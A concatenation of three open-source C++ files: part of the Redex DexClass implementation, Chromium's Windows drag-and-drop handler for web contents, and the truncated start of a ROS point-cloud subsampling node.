SHOW(dm)}}); method_pointer_cache.insert(dm); m_vmethods.push_back(dm); } } std::unique_ptr<IRCode> DexMethod::release_code() { return std::move(m_code); } void DexClass::add_method(DexMethod* m) { always_assert_log(m->is_concrete() || m->is_external(), "Method %s must be concrete", SHOW(m)); always_assert(m->get_class() == get_type()); if (m->is_virtual()) { insert_sorted(m_vmethods, m, compare_dexmethods); } else { insert_sorted(m_dmethods, m, compare_dexmethods); } } void DexClass::add_field(DexField* f) { always_assert_log(f->is_concrete() || f->is_external(), "Field %s must be concrete", SHOW(f)); always_assert(f->get_class() == get_type()); bool is_static = f->get_access() & DexAccessFlags::ACC_STATIC; if (is_static) { insert_sorted(m_sfields, f, compare_dexfields); } else { insert_sorted(m_ifields, f, compare_dexfields); } } void DexClass::remove_field(const DexField* f) { bool is_static = f->get_access() & DexAccessFlags::ACC_STATIC; auto& fields = is_static ? m_sfields : m_ifields; DEBUG_ONLY bool erase = false; auto it = std::find(fields.begin(), fields.end(), f); if (it != fields.end()) { erase = true; fields.erase(it); } redex_assert(erase); } void DexClass::sort_fields() { auto& sfields = this->get_sfields(); auto& ifields = this->get_ifields(); std::sort(sfields.begin(), sfields.end(), compare_dexfields); std::sort(ifields.begin(), ifields.end(), compare_dexfields); } void DexClass::sort_methods() { auto& vmeths = this->get_vmethods(); auto& dmeths = this->get_dmethods(); std::sort(vmeths.begin(), vmeths.end(), compare_dexmethods); std::sort(dmeths.begin(), dmeths.end(), compare_dexmethods); } DexField* DexClass::find_field(const char* name, const DexType* field_type) const { for (const auto f : m_ifields) { if (std::strcmp(f->c_str(), name) == 0 && f->get_type() == field_type) { return f; } } return nullptr; } bool DexClass::has_class_data() const { return !m_vmethods.empty() || !m_dmethods.empty() || !m_ifields.empty() || !m_sfields.empty(); } int DexClass::encode(DexOutputIdx* dodx, dexcode_to_offset& dco, uint8_t* output) { if (m_sfields.size() == 0 && m_ifields.size() == 0 && m_dmethods.size() == 0 && m_vmethods.size() == 0) { opt_warn(PURE_ABSTRACT_CLASS, "'%s' super '%s' flags 0x%08x\n", m_self->get_name()->c_str(), m_super_class->get_name()->c_str(), m_access_flags); } sort_fields(); sort_methods(); uint8_t* encdata = output; encdata = write_uleb128(encdata, (uint32_t)m_sfields.size()); encdata = write_uleb128(encdata, (uint32_t)m_ifields.size()); encdata = write_uleb128(encdata, (uint32_t)m_dmethods.size()); encdata = write_uleb128(encdata, (uint32_t)m_vmethods.size()); uint32_t idxbase; idxbase = 0; for (auto const& f : m_sfields) { uint32_t idx = dodx->fieldidx(f); encdata = write_uleb128(encdata, idx - idxbase); idxbase = idx; encdata = write_uleb128(encdata, f->get_access()); } idxbase = 0; for (auto const& f : m_ifields) { uint32_t idx = dodx->fieldidx(f); encdata = write_uleb128(encdata, idx - idxbase); idxbase = idx; encdata = write_uleb128(encdata, f->get_access()); } idxbase = 0; for (auto const& m : m_dmethods) { uint32_t idx = dodx->methodidx(m); always_assert_log(!m->is_virtual(), "Virtual method in dmethod." "\nOffending type: %s" "\nOffending method: %s", SHOW(this), SHOW(m)); redex_assert(!m->is_virtual()); encdata = write_uleb128(encdata, idx - idxbase); idxbase = idx; encdata = write_uleb128(encdata, m->get_access()); uint32_t code_off = 0; if (m->get_dex_code() != nullptr && dco.count(m->get_dex_code())) { code_off = dco[m->get_dex_code()]; } encdata = write_uleb128(encdata, code_off); } idxbase = 0; for (auto const& m : m_vmethods) { uint32_t idx = dodx->methodidx(m); always_assert_log(m->is_virtual(), "Direct method in vmethod." "\nOffending type: %s" "\nOffending method: %s", SHOW(this), SHOW(m)); redex_assert(m->is_virtual()); encdata = write_uleb128(encdata, idx - idxbase); idxbase = idx; encdata = write_uleb128(encdata, m->get_access()); uint32_t code_off = 0; if (m->get_dex_code() != nullptr && dco.count(m->get_dex_code())) { code_off = dco[m->get_dex_code()]; } encdata = write_uleb128(encdata, code_off); } return (int)(encdata - output); } void DexClass::load_class_annotations(DexIdx* idx, uint32_t anno_off) { if (anno_off == 0) return; const dex_annotations_directory_item* annodir = (const dex_annotations_directory_item*)idx->get_uint_data(anno_off); m_anno = DexAnnotationSet::get_annotation_set(idx, annodir->class_annotations_off); const uint32_t* annodata = (uint32_t*)(annodir + 1); for (uint32_t i = 0; i < annodir->fields_size; i++) { uint32_t fidx = *annodata++; uint32_t off = *annodata++; DexField* field = static_cast<DexField*>(idx->get_fieldidx(fidx)); DexAnnotationSet* aset = DexAnnotationSet::get_annotation_set(idx, off); field->attach_annotation_set(aset); } for (uint32_t i = 0; i < annodir->methods_size; i++) { uint32_t midx = *annodata++; uint32_t off = *annodata++; DexMethod* method = static_cast<DexMethod*>(idx->get_methodidx(midx)); DexAnnotationSet* aset = DexAnnotationSet::get_annotation_set(idx, off); method->attach_annotation_set(aset); } for (uint32_t i = 0; i < annodir->parameters_size; i++) { uint32_t midx = *annodata++; uint32_t xrefoff = *annodata++; if (xrefoff != 0) { DexMethod* method = static_cast<DexMethod*>(idx->get_methodidx(midx)); const uint32_t* annoxref = idx->get_uint_data(xrefoff); uint32_t count = *annoxref++; for (uint32_t j = 0; j < count; j++) { uint32_t off = annoxref[j]; DexAnnotationSet* aset = DexAnnotationSet::get_annotation_set(idx, off); if (aset != nullptr) { method->attach_param_annotation_set(j, aset); redex_assert(method->get_param_anno()); } } } } } static DexEncodedValueArray* load_static_values(DexIdx* idx, uint32_t sv_off) { if (sv_off == 0) return nullptr; const uint8_t* encd = idx->get_uleb_data(sv_off); return get_encoded_value_array(idx, encd); } DexEncodedValueArray* DexClass::get_static_values() { bool has_static_values = false; auto aev = std::make_unique<std::deque<DexEncodedValue*>>(); for (auto it = m_sfields.rbegin(); it != m_sfields.rend(); ++it) { auto const& f = *it; DexEncodedValue* ev = f->get_static_value(); if (!ev->is_zero() || has_static_values) { has_static_values = true; aev->push_front(ev); } } if (!has_static_values) return nullptr; return new DexEncodedValueArray(aev.release(), true); } DexAnnotationDirectory* DexClass::get_annotation_directory() { /* First scan to see what types of annotations to scan for if any. */ std::unique_ptr<DexFieldAnnotations> fanno = nullptr; std::unique_ptr<DexMethodAnnotations> manno = nullptr; std::unique_ptr<DexMethodParamAnnotations> mpanno = nullptr; for (auto const& f : m_sfields) { if (f->get_anno_set()) { if (fanno == nullptr) { fanno = std::make_unique<DexFieldAnnotations>(); } fanno->push_back(std::make_pair(f, f->get_anno_set())); } } for (auto const& f : m_ifields) { if (f->get_anno_set()) { if (fanno == nullptr) { fanno = std::make_unique<DexFieldAnnotations>(); } fanno->push_back(std::make_pair(f, f->get_anno_set())); } } for (auto const& m : m_dmethods) { if (m->get_anno_set()) { if (manno == nullptr) { manno = std::make_unique<DexMethodAnnotations>(); } manno->push_back(std::make_pair(m, m->get_anno_set())); } if (m->get_param_anno()) { if (mpanno == nullptr) { mpanno = std::make_unique<DexMethodParamAnnotations>(); } mpanno->push_back(std::make_pair(m, m->get_param_anno())); } } for (auto const& m : m_vmethods) { if (m->get_anno_set()) { if (manno == nullptr) { manno = std::make_unique<DexMethodAnnotations>(); } manno->push_back(std::make_pair(m, m->get_anno_set())); } if (m->get_param_anno()) { if (mpanno == nullptr) { mpanno = std::make_unique<DexMethodParamAnnotations>(); } mpanno->push_back(std::make_pair(m, m->get_param_anno())); } } if (m_anno || fanno || manno || mpanno) { return new DexAnnotationDirectory(m_anno, std::move(fanno), std::move(manno), std::move(mpanno)); } return nullptr; } DexClass* DexClass::create(DexIdx* idx, const dex_class_def* cdef, const std::string& location) { DexClass* cls = new DexClass(idx, cdef, location); if (g_redex->class_already_loaded(cls)) { // FIXME: This isn't deterministic. We're keeping whichever class we loaded // first, which may not always be from the same dex (if we load them in // parallel, for example). delete cls; return nullptr; } cls->load_class_annotations(idx, cdef->annotations_off); auto deva = std::unique_ptr<DexEncodedValueArray>( load_static_values(idx, cdef->static_values_off)); cls->load_class_data_item(idx, cdef->class_data_offset, deva.get()); g_redex->publish_class(cls); return cls; } DexClass::DexClass(DexIdx* idx, const dex_class_def* cdef, const std::string& location) : m_access_flags((DexAccessFlags)cdef->access_flags), m_super_class(idx->get_typeidx(cdef->super_idx)), m_self(idx->get_typeidx(cdef->typeidx)), m_interfaces(idx->get_type_list(cdef->interfaces_off)), m_source_file(idx->get_nullable_stringidx(cdef->source_file_idx)), m_anno(nullptr), m_external(false), m_perf_sensitive(false), m_location(location) { } void DexTypeList::gather_types(std::vector<DexType*>& ltype) const { for (auto const& type : m_list) { ltype.push_back(type); } } static DexString* make_shorty(const DexType* rtype, const DexTypeList* args) { std::string s; s.push_back(type::type_shorty(rtype)); if (args != nullptr) { for (auto arg : args->get_type_list()) { s.push_back(type::type_shorty(arg)); } } return DexString::make_string(s); } DexProto* DexProto::make_proto(const DexType* rtype, const DexTypeList* args) { auto shorty = make_shorty(rtype, args); return DexProto::make_proto(rtype, args, shorty); } void DexProto::gather_types(std::vector<DexType*>& ltype) const { if (m_args) { m_args->gather_types(ltype); } if (m_rtype) { ltype.push_back(m_rtype); } } void DexProto::gather_strings(std::vector<DexString*>& lstring) const { if (m_shorty) { lstring.push_back(m_shorty); } } void DexClass::gather_types(std::vector<DexType*>& ltype) const { for (auto const& m : m_dmethods) { m->gather_types(ltype); } for (auto const& m : m_vmethods) { m->gather_types(ltype); } for (auto const& f : m_sfields) { f->gather_types_shallow(ltype); f->gather_types(ltype); } for (auto const& f : m_ifields) { f->gather_types_shallow(ltype); f->gather_types(ltype); } ltype.push_back(m_super_class); ltype.push_back(m_self); if (m_interfaces) m_interfaces->gather_types(ltype); if (m_anno) m_anno->gather_types(ltype); } void DexClass::gather_strings(std::vector<DexString*>& lstring, bool exclude_loads) const { for (auto const& m : m_dmethods) { m->gather_strings(lstring, exclude_loads); } for (auto const& m : m_vmethods) { m->gather_strings(lstring, exclude_loads); } for (auto const& f : m_sfields) { f->gather_strings(lstring); } for (auto const& f : m_ifields) { f->gather_strings(lstring); } if (m_source_file) lstring.push_back(m_source_file); if (m_anno) m_anno->gather_strings(lstring); } void DexClass::gather_fields(std::vector<DexFieldRef*>& lfield) const { for (auto const& m : m_dmethods) { m->gather_fields(lfield); } for (auto const& m : m_vmethods) { m->gather_fields(lfield); } for (auto const& f : m_sfields) { lfield.push_back(f); f->gather_fields(lfield); } for (auto const& f : m_ifields) { lfield.push_back(f); f->gather_fields(lfield); } if (m_anno) m_anno->gather_fields(lfield); } void DexClass::gather_methods(std::vector<DexMethodRef*>& lmethod) const { for (auto const& m : m_dmethods) { lmethod.push_back(m); m->gather_methods(lmethod); } for (auto const& m : m_vmethods) { lmethod.push_back(m); m->gather_methods(lmethod); } for (auto const& f : m_sfields) { f->gather_methods(lmethod); } for (auto const& f : m_ifields) { f->gather_methods(lmethod); } if (m_anno) m_anno->gather_methods(lmethod); } const DexField* DexFieldRef::as_def() const { if (is_def()) { return static_cast<const DexField*>(this); } else { return nullptr; } } DexField* DexFieldRef::as_def() { if (is_def()) { return static_cast<DexField*>(this); } else { return nullptr; } } // Find methods and fields from a class using its obfuscated name. DexField* DexClass::find_field_from_simple_deobfuscated_name( const std::string& field_name) { for (DexField* f : get_sfields()) { if (f->get_simple_deobfuscated_name() == field_name) { return f; } } for (DexField* f : get_ifields()) { if (f->get_simple_deobfuscated_name() == field_name) { return f; } } return nullptr; } DexMethod* DexClass::find_method_from_simple_deobfuscated_name( const std::string& method_name) { for (DexMethod* m : get_dmethods()) { if (m->get_simple_deobfuscated_name() == method_name) { return m; } } for (DexMethod* m : get_vmethods()) { if (m->get_simple_deobfuscated_name() == method_name) { return m; } } return nullptr; } void DexFieldRef::gather_types_shallow(std::vector<DexType*>& ltype) const { ltype.push_back(m_spec.cls); ltype.push_back(m_spec.type); } void DexFieldRef::gather_strings_shallow( std::vector<DexString*>& lstring) const { lstring.push_back(m_spec.name); } void DexField::gather_types(std::vector<DexType*>& ltype) const { if (m_value) m_value->gather_types(ltype); if (m_anno) m_anno->gather_types(ltype); } void DexField::gather_strings(std::vector<DexString*>& lstring) const { if (m_value) m_value->gather_strings(lstring); if (m_anno) m_anno->gather_strings(lstring); } void DexField::gather_fields(std::vector<DexFieldRef*>& lfield) const { if (m_value) m_value->gather_fields(lfield); if (m_anno) m_anno->gather_fields(lfield); } void DexField::gather_methods(std::vector<DexMethodRef*>& lmethod) const { if (m_value) m_value->gather_methods(lmethod); if (m_anno) m_anno->gather_methods(lmethod); } void DexMethod::gather_types(std::vector<DexType*>& ltype) const { gather_types_shallow(ltype); // Handle DexMethodRef parts. if (m_code) m_code->gather_types(ltype); if (m_anno) m_anno->gather_types(ltype); auto param_anno = get_param_anno(); if (param_anno) { for (auto pair : *param_anno) { auto anno_set = pair.second; anno_set->gather_types(ltype); } } } void DexMethod::gather_strings(std::vector<DexString*>& lstring, bool exclude_loads) const { // We handle m_name and proto in the first-layer gather. if (m_code && !exclude_loads) m_code->gather_strings(lstring); if (m_anno) m_anno->gather_strings(lstring); auto param_anno = get_param_anno(); if (param_anno) { for (auto pair : *param_anno) { auto anno_set = pair.second; anno_set->gather_strings(lstring); } } } void DexMethod::gather_fields(std::vector<DexFieldRef*>& lfield) const { if (m_code) m_code->gather_fields(lfield); if (m_anno) m_anno->gather_fields(lfield); auto param_anno = get_param_anno(); if (param_anno) { for (auto pair : *param_anno) { auto anno_set = pair.second; anno_set->gather_fields(lfield); } } } void DexMethod::gather_methods(std::vector<DexMethodRef*>& lmethod) const { if (m_code) m_code->gather_methods(lmethod); if (m_anno) m_anno->gather_methods(lmethod); auto param_anno = get_param_anno(); if (param_anno) { for (auto pair : *param_anno) { auto anno_set = pair.second; anno_set->gather_methods(lmethod); } } } const DexMethod* DexMethodRef::as_def() const { if (is_def()) { return static_cast<const DexMethod*>(this); } else { return nullptr; } } DexMethod* DexMethodRef::as_def() { if (is_def()) { return static_cast<DexMethod*>(this); } else { return nullptr; } } void DexMethodRef::gather_types_shallow(std::vector<DexType*>& ltype) const { ltype.push_back(m_spec.cls); m_spec.proto->gather_types(ltype); } void DexMethodRef::gather_strings_shallow( std::vector<DexString*>& lstring) const { lstring.push_back(m_spec.name); m_spec.proto->gather_strings(lstring); } uint32_t DexCode::size() const { uint32_t size = 0; for (auto const& opc : get_instructions()) { if (!dex_opcode::is_fopcode(opc->opcode())) { size += opc->size(); } } return size; } DexProto* DexType::get_non_overlapping_proto(DexString* method_name, DexProto* orig_proto) { auto methodref_in_context = DexMethod::get_method(this, method_name, orig_proto); if (!methodref_in_context) { return orig_proto; } std::deque<DexType*> new_arg_list; const auto& type_list = orig_proto->get_args()->get_type_list(); auto rtype = orig_proto->get_rtype(); for (auto t : type_list) { new_arg_list.push_back(t); } new_arg_list.push_back(type::_int()); DexTypeList* new_args = DexTypeList::make_type_list(std::move(new_arg_list)); DexProto* new_proto = DexProto::make_proto(rtype, new_args); methodref_in_context = DexMethod::get_method(this, method_name, new_proto); while (methodref_in_context) { new_arg_list.push_back(type::_int()); new_args = DexTypeList::make_type_list(std::move(new_arg_list)); new_proto = DexProto::make_proto(rtype, new_args); methodref_in_context = DexMethod::get_method(this, method_name, new_proto); } return new_proto; } void DexMethod::add_load_params(size_t num_add_loads) { IRCode* code = this->get_code(); always_assert_log(code, "Method don't have IRCode\n"); auto callee_params = code->get_param_instructions(); size_t added_params = 0; while (added_params < num_add_loads) { ++added_params; auto temp = code->allocate_temp(); IRInstruction* new_param_load = new IRInstruction(IOPCODE_LOAD_PARAM); new_param_load->set_dest(temp); code->insert_before(callee_params.end(), new_param_load); } } void IRInstruction::gather_types(std::vector<DexType*>& ltype) const { switch (opcode::ref(opcode())) { case opcode::Ref::None: case opcode::Ref::String: case opcode::Ref::Literal: case opcode::Ref::Data: break; case opcode::Ref::Type: ltype.push_back(m_type); break; case opcode::Ref::Field: m_field->gather_types_shallow(ltype); break; case opcode::Ref::Method: m_method->gather_types_shallow(ltype); break; } } void gather_components(std::vector<DexString*>& lstring, std::vector<DexType*>& ltype, std::vector<DexFieldRef*>& lfield, std::vector<DexMethodRef*>& lmethod, const DexClasses& classes, bool exclude_loads) { // Gather references reachable from each class. for (auto const& cls : classes) { cls->gather_strings(lstring, exclude_loads); cls->gather_types(ltype); cls->gather_fields(lfield); cls->gather_methods(lmethod); } // Remove duplicates to speed up the later loops. sort_unique(lstring); sort_unique(ltype); // Gather types and strings needed for field and method refs. sort_unique(lmethod); for (auto meth : lmethod) { meth->gather_types_shallow(ltype); meth->gather_strings_shallow(lstring); } sort_unique(lfield); for (auto field : lfield) { field->gather_types_shallow(ltype); field->gather_strings_shallow(lstring); } // Gather strings needed for each type. sort_unique(ltype); for (auto type : ltype) { if (type) lstring.push_back(type->get_name()); } sort_unique(lstring); }
46,255
17,715
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "content/browser/web_contents/web_contents_drag_win.h" #include <windows.h> #include <string> #include "base/bind.h" #include "base/file_util.h" #include "base/files/file_path.h" #include "base/message_loop/message_loop.h" #include "base/pickle.h" #include "base/strings/utf_string_conversions.h" #include "base/threading/platform_thread.h" #include "base/threading/thread.h" #include "content/browser/download/drag_download_file.h" #include "content/browser/download/drag_download_util.h" #include "content/browser/web_contents/web_drag_dest_win.h" #include "content/browser/web_contents/web_drag_source_win.h" #include "content/browser/web_contents/web_drag_utils_win.h" #include "content/public/browser/browser_thread.h" #include "content/public/browser/content_browser_client.h" #include "content/public/browser/web_contents.h" #include "content/public/browser/web_contents_view.h" #include "content/public/browser/web_drag_dest_delegate.h" #include "content/public/common/drop_data.h" #include "net/base/net_util.h" #include "third_party/skia/include/core/SkBitmap.h" #include "ui/base/clipboard/clipboard.h" #include "ui/base/clipboard/custom_data_helper.h" #include "ui/base/dragdrop/drag_utils.h" #include "ui/base/layout.h" #include "ui/base/win/scoped_ole_initializer.h" #include "ui/gfx/image/image_skia.h" #include "ui/gfx/screen.h" #include "ui/gfx/size.h" using WebKit::WebDragOperationsMask; using WebKit::WebDragOperationCopy; using WebKit::WebDragOperationLink; using WebKit::WebDragOperationMove; namespace content { namespace { bool run_do_drag_drop = true; HHOOK msg_hook = NULL; DWORD drag_out_thread_id = 0; bool mouse_up_received = false; LRESULT CALLBACK MsgFilterProc(int code, WPARAM wparam, LPARAM lparam) { if (code == base::MessagePumpForUI::kMessageFilterCode && !mouse_up_received) { MSG* msg = reinterpret_cast<MSG*>(lparam); // We do not care about WM_SYSKEYDOWN and WM_SYSKEYUP because when ALT key // is pressed down on drag-and-drop, it means to create a link. if (msg->message == WM_MOUSEMOVE || msg->message == WM_LBUTTONUP || msg->message == WM_KEYDOWN || msg->message == WM_KEYUP) { // Forward the message from the UI thread to the drag-and-drop thread. PostThreadMessage(drag_out_thread_id, msg->message, msg->wParam, msg->lParam); // If the left button is up, we do not need to forward the message any // more. if (msg->message == WM_LBUTTONUP || !(GetKeyState(VK_LBUTTON) & 0x8000)) mouse_up_received = true; return TRUE; } } return CallNextHookEx(msg_hook, code, wparam, lparam); } void EnableBackgroundDraggingSupport(DWORD thread_id) { // Install a hook procedure to monitor the messages so that we can forward // the appropriate ones to the background thread. drag_out_thread_id = thread_id; mouse_up_received = false; DCHECK(!msg_hook); msg_hook = SetWindowsHookEx(WH_MSGFILTER, MsgFilterProc, NULL, GetCurrentThreadId()); // Attach the input state of the background thread to the UI thread so that // SetCursor can work from the background thread. AttachThreadInput(drag_out_thread_id, GetCurrentThreadId(), TRUE); } void DisableBackgroundDraggingSupport() { DCHECK(msg_hook); AttachThreadInput(drag_out_thread_id, GetCurrentThreadId(), FALSE); UnhookWindowsHookEx(msg_hook); msg_hook = NULL; } bool IsBackgroundDraggingSupportEnabled() { return msg_hook != NULL; } } // namespace class DragDropThread : public base::Thread { public: explicit DragDropThread(WebContentsDragWin* drag_handler) : Thread("Chrome_DragDropThread"), drag_handler_(drag_handler) { } virtual ~DragDropThread() { Stop(); } protected: // base::Thread implementations: virtual void Init() { ole_initializer_.reset(new ui::ScopedOleInitializer()); } virtual void CleanUp() { ole_initializer_.reset(); } private: scoped_ptr<ui::ScopedOleInitializer> ole_initializer_; // Hold a reference count to WebContentsDragWin to make sure that it is always // alive in the thread lifetime. scoped_refptr<WebContentsDragWin> drag_handler_; DISALLOW_COPY_AND_ASSIGN(DragDropThread); }; WebContentsDragWin::WebContentsDragWin( gfx::NativeWindow source_window, WebContents* web_contents, WebDragDest* drag_dest, const base::Callback<void()>& drag_end_callback) : drag_drop_thread_id_(0), source_window_(source_window), web_contents_(web_contents), drag_dest_(drag_dest), drag_ended_(false), drag_end_callback_(drag_end_callback) { } WebContentsDragWin::~WebContentsDragWin() { DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI)); DCHECK(!drag_drop_thread_.get()); } void WebContentsDragWin::StartDragging(const DropData& drop_data, WebDragOperationsMask ops, const gfx::ImageSkia& image, const gfx::Vector2d& image_offset) { DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI)); drag_source_ = new WebDragSource(source_window_, web_contents_); const GURL& page_url = web_contents_->GetLastCommittedURL(); const std::string& page_encoding = web_contents_->GetEncoding(); // If it is not drag-out, do the drag-and-drop in the current UI thread. if (drop_data.download_metadata.empty()) { if (DoDragging(drop_data, ops, page_url, page_encoding, image, image_offset)) EndDragging(); return; } // Start a background thread to do the drag-and-drop. DCHECK(!drag_drop_thread_.get()); drag_drop_thread_.reset(new DragDropThread(this)); base::Thread::Options options; options.message_loop_type = base::MessageLoop::TYPE_UI; if (drag_drop_thread_->StartWithOptions(options)) { drag_drop_thread_->message_loop()->PostTask( FROM_HERE, base::Bind(&WebContentsDragWin::StartBackgroundDragging, this, drop_data, ops, page_url, page_encoding, image, image_offset)); } EnableBackgroundDraggingSupport(drag_drop_thread_->thread_id()); } void WebContentsDragWin::StartBackgroundDragging( const DropData& drop_data, WebDragOperationsMask ops, const GURL& page_url, const std::string& page_encoding, const gfx::ImageSkia& image, const gfx::Vector2d& image_offset) { drag_drop_thread_id_ = base::PlatformThread::CurrentId(); if (DoDragging(drop_data, ops, page_url, page_encoding, image, image_offset)) { BrowserThread::PostTask( BrowserThread::UI, FROM_HERE, base::Bind(&WebContentsDragWin::EndDragging, this)); } else { // When DoDragging returns false, the contents view window is gone and thus // WebContentsViewWin instance becomes invalid though WebContentsDragWin // instance is still alive because the task holds a reference count to it. // We should not do more than the following cleanup items: // 1) Remove the background dragging support. This is safe since it does not // access the instance at all. // 2) Stop the background thread. This is done in OnDataObjectDisposed. // Only drag_drop_thread_ member is accessed. BrowserThread::PostTask( BrowserThread::UI, FROM_HERE, base::Bind(&DisableBackgroundDraggingSupport)); } } void WebContentsDragWin::PrepareDragForDownload( const DropData& drop_data, ui::OSExchangeData* data, const GURL& page_url, const std::string& page_encoding) { // Parse the download metadata. string16 mime_type; base::FilePath file_name; GURL download_url; if (!ParseDownloadMetadata(drop_data.download_metadata, &mime_type, &file_name, &download_url)) return; // Generate the file name based on both mime type and proposed file name. std::string default_name = GetContentClient()->browser()->GetDefaultDownloadName(); base::FilePath generated_download_file_name = net::GenerateFileName(download_url, std::string(), std::string(), UTF16ToUTF8(file_name.value()), UTF16ToUTF8(mime_type), default_name); base::FilePath temp_dir_path; if (!file_util::CreateNewTempDirectory( FILE_PATH_LITERAL("chrome_drag"), &temp_dir_path)) return; base::FilePath download_path = temp_dir_path.Append(generated_download_file_name); // We cannot know when the target application will be done using the temporary // file, so schedule it to be deleted after rebooting. base::DeleteFileAfterReboot(download_path); base::DeleteFileAfterReboot(temp_dir_path); // Provide the data as file (CF_HDROP). A temporary download file with the // Zone.Identifier ADS (Alternate Data Stream) attached will be created. scoped_refptr<DragDownloadFile> download_file = new DragDownloadFile( download_path, scoped_ptr<net::FileStream>(), download_url, Referrer(page_url, drop_data.referrer_policy), page_encoding, web_contents_); ui::OSExchangeData::DownloadFileInfo file_download(base::FilePath(), download_file.get()); data->SetDownloadFileInfo(file_download); // Enable asynchronous operation. ui::OSExchangeDataProviderWin::GetIAsyncOperation(*data)->SetAsyncMode(TRUE); } void WebContentsDragWin::PrepareDragForFileContents( const DropData& drop_data, ui::OSExchangeData* data) { static const int kMaxFilenameLength = 255; // FAT and NTFS base::FilePath file_name(drop_data.file_description_filename); // Images without ALT text will only have a file extension so we need to // synthesize one from the provided extension and URL. if (file_name.BaseName().RemoveExtension().empty()) { const string16 extension = file_name.Extension(); // Retrieve the name from the URL. file_name = base::FilePath( net::GetSuggestedFilename(drop_data.url, "", "", "", "", "")); if (file_name.value().size() + extension.size() > kMaxFilenameLength) { file_name = base::FilePath(file_name.value().substr( 0, kMaxFilenameLength - extension.size())); } file_name = file_name.ReplaceExtension(extension); } data->SetFileContents(file_name, drop_data.file_contents); } void WebContentsDragWin::PrepareDragForUrl(const DropData& drop_data, ui::OSExchangeData* data) { if (drag_dest_->delegate() && drag_dest_->delegate()->AddDragData(drop_data, data)) { return; } data->SetURL(drop_data.url, drop_data.url_title); } bool WebContentsDragWin::DoDragging(const DropData& drop_data, WebDragOperationsMask ops, const GURL& page_url, const std::string& page_encoding, const gfx::ImageSkia& image, const gfx::Vector2d& image_offset) { ui::OSExchangeData data; if (!drop_data.download_metadata.empty()) { PrepareDragForDownload(drop_data, &data, page_url, page_encoding); // Set the observer. ui::OSExchangeDataProviderWin::GetDataObjectImpl(data)->set_observer(this); } // We set the file contents before the URL because the URL also sets file // contents (to a .URL shortcut). We want to prefer file content data over // a shortcut so we add it first. if (!drop_data.file_contents.empty()) PrepareDragForFileContents(drop_data, &data); if (!drop_data.html.string().empty()) data.SetHtml(drop_data.html.string(), drop_data.html_base_url); // We set the text contents before the URL because the URL also sets text // content. if (!drop_data.text.string().empty()) data.SetString(drop_data.text.string()); if (drop_data.url.is_valid()) PrepareDragForUrl(drop_data, &data); if (!drop_data.custom_data.empty()) { Pickle pickle; ui::WriteCustomDataToPickle(drop_data.custom_data, &pickle); data.SetPickledData(ui::Clipboard::GetWebCustomDataFormatType(), pickle); } // Set drag image. if (!image.isNull()) { drag_utils::SetDragImageOnDataObject(image, gfx::Size(image.width(), image.height()), image_offset, &data); } // Use a local variable to keep track of the contents view window handle. // It might not be safe to access the instance after DoDragDrop returns // because the window could be disposed in the nested message loop. HWND native_window = web_contents_->GetView()->GetNativeView(); // We need to enable recursive tasks on the message loop so we can get // updates while in the system DoDragDrop loop. DWORD effect = DROPEFFECT_NONE; if (run_do_drag_drop) { // Keep a reference count such that |drag_source_| will not get deleted // if the contents view window is gone in the nested message loop invoked // from DoDragDrop. scoped_refptr<WebDragSource> retain_source(drag_source_); retain_source->set_data(&data); data.SetInDragLoop(true); base::MessageLoop::ScopedNestableTaskAllower allow( base::MessageLoop::current()); DoDragDrop(ui::OSExchangeDataProviderWin::GetIDataObject(data), drag_source_, WebDragOpMaskToWinDragOpMask(ops), &effect); retain_source->set_data(NULL); } // Bail out immediately if the contents view window is gone. if (!IsWindow(native_window)) return false; // Normally, the drop and dragend events get dispatched in the system // DoDragDrop message loop so it'd be too late to set the effect to send back // to the renderer here. However, we use PostTask to delay the execution of // WebDragSource::OnDragSourceDrop, which means that the delayed dragend // callback to the renderer doesn't run until this has been set to the correct // value. drag_source_->set_effect(effect); return true; } void WebContentsDragWin::EndDragging() { DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI)); if (drag_ended_) return; drag_ended_ = true; if (IsBackgroundDraggingSupportEnabled()) DisableBackgroundDraggingSupport(); drag_end_callback_.Run(); } void WebContentsDragWin::CancelDrag() { DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI)); drag_source_->CancelDrag(); } void WebContentsDragWin::CloseThread() { DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI)); drag_drop_thread_.reset(); } void WebContentsDragWin::OnWaitForData() { DCHECK(drag_drop_thread_id_ == base::PlatformThread::CurrentId()); // When the left button is release and we start to wait for the data, end // the dragging before DoDragDrop returns. This makes the page leave the drag // mode so that it can start to process the normal input events. BrowserThread::PostTask( BrowserThread::UI, FROM_HERE, base::Bind(&WebContentsDragWin::EndDragging, this)); } void WebContentsDragWin::OnDataObjectDisposed() { DCHECK(drag_drop_thread_id_ == base::PlatformThread::CurrentId()); // The drag-and-drop thread is only closed after OLE is done with // DataObjectImpl. BrowserThread::PostTask( BrowserThread::UI, FROM_HERE, base::Bind(&WebContentsDragWin::CloseThread, this)); } // static void WebContentsDragWin::DisableDragDropForTesting() { run_do_drag_drop = false; } } // namespace content
15,911
4,868
#include <ros/ros.h> #include <sensor_msgs/PointCloud2.h> #include <pcl_ros/point_cloud.h> #include <pcl/point_types.h> #include <pcl/filters/voxel_grid.h> #include <pcl/filters/statistical_outlier_removal.h> #include <boost/thread/thread.hpp> #include "strands_movebase/noise_approximate_voxel_grid.h" ros::Publisher pub; void callback(const sensor_msgs::PointCloud2::ConstPtr& msg) { pcl::PointCloud<pcl::PointXYZ>::Ptr cloud(new pcl::PointCloud<pcl::PointXYZ>()); pcl::fromROSMsg(*msg, *cloud); pcl::PointCloud<pcl::PointXYZ> voxel_cloud; noise_approximate_voxel_grid sor(5, 20); // a bit faster than nvg, not as accurate sor.setInputCloud(cloud); sor.setLeafSize(0.05f, 0.05f, 0.05f); sor.filter(voxel_cloud); /*pcl::StatisticalOutlierRemoval<pcl::PointXYZ> sor; // another possibility, slow sor.setInputCloud(new_cloud); sor.setMeanK(20); sor.setStddevMulThresh(1.0); sor.filter(voxel_cloud);*/ sensor_msgs::PointCloud2 msg_cloud; pcl::toROSMsg(voxel_cloud, msg_cloud); msg_cloud.header = msg->header; pub.publish(msg_cloud); } int main(int argc, char** argv) { ros::init(argc, argv, "subsample_cloud"); ros::NodeHandle n; // topic of input cloud if (!n.hasParam("/subsample_cloud/input")) { ROS_ERROR("Could not find parameter input."); return -1; } std::string input; 